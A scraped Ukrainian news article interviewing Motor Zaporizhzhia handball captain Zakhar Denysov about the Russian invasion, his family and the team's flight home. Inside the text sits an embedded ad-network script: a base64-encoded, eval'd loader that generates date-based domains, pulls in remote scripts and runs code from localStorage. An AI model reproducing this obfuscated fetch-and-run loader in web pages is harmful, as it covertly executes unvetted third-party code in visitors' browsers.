Капітан запорізького «МОТОРа» Захар Денисов: «Україна об’єднаналася проти ворога. А те, що робить зараз українська армія — у мене ще ніколи в житті не було такої гордості! «

У інтервю для Федерації гандболу Украіни Захар Денисов розповів про свою російськомовну родину, українську армію та Володимира Зеленського.

Про це повідомляє «Акцент» з посиланням на офіційний сайт ФГУ.

Як ти сприймаєш те, що відбувається зараз в Україні?
Це війна, наступ на нас і спроба захоплення. Інакше це назвати неможна. Вони хотіли показати свою міць: за пару діб захопити всю країну. Людина (Путін) кидає своїх людей на м`ясо, не шкодуючи ні кого. Завжди було зрозуміло, що ця людина говорить одне, але замислює інше. Насправді, будь-яке його слово це неправда.

Багато болю, розчарування. Мій батько та мати були росіянами. Моя тітка з Росії. І напередодні ми розмовляли з нею. Там людям надають таку інформацію, що вони навіть не розуміють, що відбувається в Україні. Вони повністю вірять, що у нас є утиски до росіян, кажуть мені, що на Західній Україні — нацисти. Так, кажу їм: «ми і дітей їмо на сніданок».

Я володію українською мовою, можу на неї переключатися, але моя родина  російськомовна. Я їжджу по всій Україні, часто буваю і у Львові, і за все своє життя жодного разу не чув до себе претензій, чому я спілкуюся російською мовою. Це багато про що говорить.

Але їх план провалився. Він (Путін) хотів нас розколоти, але вийшло навпаки — ми ще більше об`єдналися. Люди допомагають один одному, готові захищати країну. Тільки-но бачив — у нас біля будинку сидить компанія, обговорюють побутові речі і роблять при цьому коктейлі Молотова.

А те, що робить зараз українська армія у мене ще ніколи в житті не було такої гордості. 

За ці дні після початку війни наш президент (Володимир Зеленський) напевно став особистістю номер один у світі. Наскільки людина може бути сильною та сміливою і передати країні впевненість, що ми все можемо!  var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

Всі готові лягти кістьми за країну та віддати останнє для оборони. Коли це все завершиться країна стане ще сильнішою.

Розкажи, як «Мотор» повертався з матчу проти польського «Віве Кельце». Ви летіли саме в ту ніч, коли Росія почала напад на Україну.

Дістались ми добре, але потім, зрозумівши, як все це відбувалася, і що могло статися, усвідомили, що ми були на межі.  В ніч з 23 на 24, коли все почалось, ми мали приземлитися у Запоріжжі близько другої ночі, але  нас перенаправили на Жуляни. Коли ми сіли там і очікували, як будемо далі діставатись Запоріжжя, вибіг хтось із керівництва аеропорту і вигнав всіх на вулицю, наказав евакуюватись. Було близько 5-ї ранку — тобто тоді, коли Україну почали бомбардувати. Ми почули кілька хлопків здалеку, пролетів винищувач. З інтернету, ми вже дізналились, що сталось: один хлопець вирішив піти по стопах Гітлера і о 5-й ранку почав війну. 

По суті, наш літак був одним з останніх громадянських літаків у небі над Україною. Добре, що все обійшлось. Хоча вже літали винищувачі, військові дрони, і ті ж росіяни, могли збити нас не розбираючись. У цю ніч удача була на нашому боці.     

Виїхати з Києва автобусом було нереально, навіть заправитись було неможливо, адже відразу утворились черги. На перекладних — пішки та на трамваї — ми дістались готелю. Всі хотіли додому, до родин. Виїхати з Києва вдалось біля 6-ї вечора, а о третій ночі ми були в Запоріжжі.

Зараз команду на час розпустили, легіонери та тренери виїхали до себе додому.  (adsbygoogle = window.adsbygoogle || []).push({});

Подписывайтесь на Акцент в Источник: https://akzent.zp.ua/kapitan-zaporizkogo-motora-zahar-denisov-ukrayina-ob-yednanalasya-proti-voroga-a-te-shho-robit-zaraz-ukrayinska-armiya-u-mene-shhe-nikoli-v-zhitti-ne-bulo-takoyi-gordosti/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

нет
scroll to top